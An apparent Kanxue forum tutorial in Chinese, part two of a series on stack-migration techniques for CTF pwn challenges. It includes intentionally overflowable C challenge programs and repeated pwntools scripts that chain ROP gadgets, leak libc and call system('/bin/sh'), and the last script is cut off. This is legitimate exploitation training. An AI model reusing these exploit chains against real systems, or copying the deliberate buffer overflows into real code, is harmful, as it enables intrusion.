首页
社区
课程
招聘
钉子户的迁徙之路(二)
发表于: 2024-5-8 08:45 9440

钉子户的迁徙之路(二)

2024-5-8 08:45
9440

说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm

从上面分析可知由于 ret2csu 长度为 0x80,那么 migration 长度需要大于0x80,那么问题来了 migration 的长度不能再小了吗?

我承认这个题目已经实属有点变态了,migration 长度只有2个字长,但buf却可以输入7个字长,其利用姿势连我本人也觉得有些诡异。为了说明这个问题,我们需要重新来审视一下汇编代码。

在汇编代码中,调用其他函数一般有 2 种方式,一种是 call ,一种是 jmp(jcc) 。其中,大多是用 call 的形式,plt 表中使用的为 jmp 形式,如下图。

calljmp 的区别主要是 call(近跳转) 要将 ip 压栈,然后 ret 时将 ip 弹出。那么问题来了,如果我们 call 的是 read 函数,而此时写入数据又能够覆盖到存储 ip 的位置,那么,如果我们将 ip 修改,就能够返回到我们想要返回的地方,我将其成为 call read 移形换影,流程如下图。

那么此题的解决方式就是利用此方法将 0x100x38 拼接成足够长的栈帧进行攻击,流程如下图。

攻击脚本主要内容如下

当然,如果存在两次输入,在栈上写入数据与在bss段写入数据的长度可以有很多种组合方式,我们适当改变两者的长度。

同样使用 call read 移形换影进行攻击,流程不再赘述,主要代码如下

此题找到的网上流传此题解法均为使用 one_gadget(可能比赛中出题人给出了 libc )。真实情况下,攻击者并不能期望能有靶机的 glibc ,并且也不能期望所有 one_gadget 都能够使用 ,下面我使用 read移形换影 进行攻击。

脚本如下

西湖论剑2021有一道名为 blindpwn 题出的相当有意思,简单反编译之后如下图。

其攻击原理是 glibc2.27 之后的版本中 alarmread 函数中 syscall 距离函数顶部较近(如下图)。

因此,可以使用爆破的方式予以攻击,可以说,这个题目是将64位的 ret2dlresolve 直接提升了一个等级,并且为之后的 pwn 题扩展了很大的思路。此题网上讲解很多,就不再赘述,有兴趣的朋友可以自行查阅。此题江湖流传的版本是攻击 alarm 函数,我对此题改造后发现攻击 read 函数也可以。题目代码如下

当然,本篇文章的主题是栈迁移不是爆破,以上题目可以请有兴趣的朋友自己试试,难度适中。当然,本篇文章主要是讲解栈迁移,所以我对题目做了如下调整。

题目中 b 的空间只有 8 + 8(覆盖rbp) + 8(覆盖返回地址)= 24 个字节的长度,也就是说,程序只能覆盖到返回地址,并且可写的内容非常少,那么我们该如何攻击呢?我们可以利用一个无用的地址作为锚点反复利用call read流程在一个地址布置栈帧。

攻击脚本如下

**注意:**此种方法在ctf-wiki中有写,题目是2015-hitcon-readable,后来听TNT师傅告诉我的。哎,学而不思则罔,思而不学则殆。

地址:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#2015-hitcon-readable

// question_5
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x10
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char buf[0x30] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,buf,0x38);   //逐渐改变溢出长度
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
// question_5
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x10
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char buf[0x30] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,buf,0x38);   //逐渐改变溢出长度
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_6_x64'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret=0x4012cb
    pop_rsi_r15_ret=0x4012c9
    leave_ret = 0x401228
    pop_rbp_ret = 0x401129
    call_read_buf_addr = 0x40120D
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    repc_addr = elf.symbols['dofunc']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x700  #需要测试得出
    n = 1  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    '''
    一、布置栈帧  (根据题目可能与第二步调换)
    按照题目要求利用 leave ret 必须迁移到 migration 处
    先布置好栈
    '''  
    padding2rbp = 0x30
    payload_buf = flat(['a' * padding2rbp , migration])
     
 
    '''
    二、写入第一次迁移后的内容  (根据题目可能与第一步调换)
    puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧   
    '''
 
    payload_migration = flat([migration + padding2rbp + 0x8, call_read_buf_addr])
    sa('input1:\n',payload_migration)
    sa('input2:\n', payload_buf)
    sleep(0.5)
    '''
    利用 call_read_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |call read |        |retrun add|        |new r add |
    +----------+        +----------+        +----------+ 
    |          |        |          |        |          |
    +----------+  -->   +----------+  -->   +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |    rbp   |        |   rbp    |        |   rbp    |
    +----------+        +----------+        +----------+
    '''
    payload3 = flat([pop_rsi_r15_ret, target1_rbp , 0, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
    s(payload3)
     
    '''
    三、套路查找libc基地址
    '''
    payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
    s(payload4)
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
 
    '''
    四、写入 system + binsh
    由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') ,  放置到bss段较远的位置
    '''
    # 最终输出
    payload_migration = flat([migration + padding2rbp + 0x8, call_read_buf_addr])
    sa('input1:\n',payload_migration)  
    payload_buf = flat(['a' * padding2rbp , migration])   
    sa('input2:\n', payload_buf)
    sleep(0.5)
    payload7 = flat([pop_rsi_r15_ret, target1_rbp , 0, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
    s(payload7)
    sleep(0.5)
    payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
    s(payload8)
     
    itr()
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_6_x64'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret=0x4012cb
    pop_rsi_r15_ret=0x4012c9
    leave_ret = 0x401228
    pop_rbp_ret = 0x401129
    call_read_buf_addr = 0x40120D
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    repc_addr = elf.symbols['dofunc']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x700  #需要测试得出
    n = 1  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    '''
    一、布置栈帧  (根据题目可能与第二步调换)
    按照题目要求利用 leave ret 必须迁移到 migration 处
    先布置好栈
    '''  
    padding2rbp = 0x30
    payload_buf = flat(['a' * padding2rbp , migration])
     
 
    '''
    二、写入第一次迁移后的内容  (根据题目可能与第一步调换)
    puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧   
    '''
 
    payload_migration = flat([migration + padding2rbp + 0x8, call_read_buf_addr])
    sa('input1:\n',payload_migration)
    sa('input2:\n', payload_buf)
    sleep(0.5)
    '''
    利用 call_read_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |call read |        |retrun add|        |new r add |
    +----------+        +----------+        +----------+ 
    |          |        |          |        |          |
    +----------+  -->   +----------+  -->   +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |    rbp   |        |   rbp    |        |   rbp    |
    +----------+        +----------+        +----------+
    '''
    payload3 = flat([pop_rsi_r15_ret, target1_rbp , 0, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
    s(payload3)
     
    '''
    三、套路查找libc基地址
    '''
    payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
    s(payload4)
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
 
    '''
    四、写入 system + binsh
    由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') ,  放置到bss段较远的位置
    '''
    # 最终输出
    payload_migration = flat([migration + padding2rbp + 0x8, call_read_buf_addr])
    sa('input1:\n',payload_migration)  
    payload_buf = flat(['a' * padding2rbp , migration])   
    sa('input2:\n', payload_buf)
    sleep(0.5)
    payload7 = flat([pop_rsi_r15_ret, target1_rbp , 0, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
    s(payload7)
    sleep(0.5)
    payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
    s(payload8)
     
    itr()
// question_6
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x30
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x8] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,b,0x10);   //逐渐改变溢出长度
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
// question_6
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x30
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x8] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,b,0x10);   //逐渐改变溢出长度
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_7_x64'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret = 0x4012ab
    pop_rsi_r15_ret = 0x4012a9
    leave_ret = 0x401200
    pop_rbp_ret = 0x401129
    call_read_migration_addr = 0x4011C3
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    repc_addr = elf.symbols['dofunc']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x700  #需要测试得出
    n = 1  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    '''
    一、布置栈帧  (根据题目可能与第二步调换)
    按照题目要求利用 leave ret 必须迁移到 migration 处
    先布置好栈
    '''
    padding2rbp = 0x8
    payload_buf = flat(['a' * padding2rbp , migration])
     
 
    '''
    二、写入第一次迁移后的内容  (根据题目可能与第一步调换)
    puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧   
    '''
    payload_migration = flat([target1_rbp , call_read_migration_addr])
    sa('input1:\n',payload_migration)
 
    sa('input2:\n', payload_buf)
    sleep(0.5)
    '''
    利用 call_read_migration_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
    +----------+        +----------+        +----------+
    | next rbp |        | next rbp |        | next rbp |
    +----------+        +----------+        +----------+
    |call read |        |retrun add|        | new r add|
    +----------+        +----------+        +----------+ 
    |          |        |          |        |          |
    +----------+  -->   +----------+  -->   +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    '''
    payload3 = flat([0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0, read_sym , leave_ret])
    s(payload3)  
     
    '''
    三、套路查找libc基地址
    '''
    payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
    s(payload4)
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
 
    '''
    四、写入 system + binsh
    由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') ,  放置到bss段较远的位置
    '''
    # 最终输出
    payload_migration = flat([target1_rbp , call_read_migration_addr])
    sa('input1:\n',payload_migration)  
    payload_buf = flat(['a' * padding2rbp , migration])   
    sa('input2:\n', payload_buf)
    sleep(0.5)
    payload7 = flat([0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0, read_sym , leave_ret])
    s(payload7)
    sleep(0.5)
    payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
    s(payload8)
     
    itr()
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_7_x64'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret = 0x4012ab
    pop_rsi_r15_ret = 0x4012a9
    leave_ret = 0x401200
    pop_rbp_ret = 0x401129
    call_read_migration_addr = 0x4011C3
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    repc_addr = elf.symbols['dofunc']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x700  #需要测试得出
    n = 1  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    '''
    一、布置栈帧  (根据题目可能与第二步调换)
    按照题目要求利用 leave ret 必须迁移到 migration 处
    先布置好栈
    '''
    padding2rbp = 0x8
    payload_buf = flat(['a' * padding2rbp , migration])
     
 
    '''
    二、写入第一次迁移后的内容  (根据题目可能与第一步调换)
    puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧   
    '''
    payload_migration = flat([target1_rbp , call_read_migration_addr])
    sa('input1:\n',payload_migration)
 
    sa('input2:\n', payload_buf)
    sleep(0.5)
    '''
    利用 call_read_migration_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
    +----------+        +----------+        +----------+
    | next rbp |        | next rbp |        | next rbp |
    +----------+        +----------+        +----------+
    |call read |        |retrun add|        | new r add|
    +----------+        +----------+        +----------+ 
    |          |        |          |        |          |
    +----------+  -->   +----------+  -->   +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    '''
    payload3 = flat([0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0, read_sym , leave_ret])
    s(payload3)  
     
    '''
    三、套路查找libc基地址
    '''
    payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
    s(payload4)
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
 
    '''
    四、写入 system + binsh
    由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') ,  放置到bss段较远的位置
    '''
    # 最终输出
    payload_migration = flat([target1_rbp , call_read_migration_addr])

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//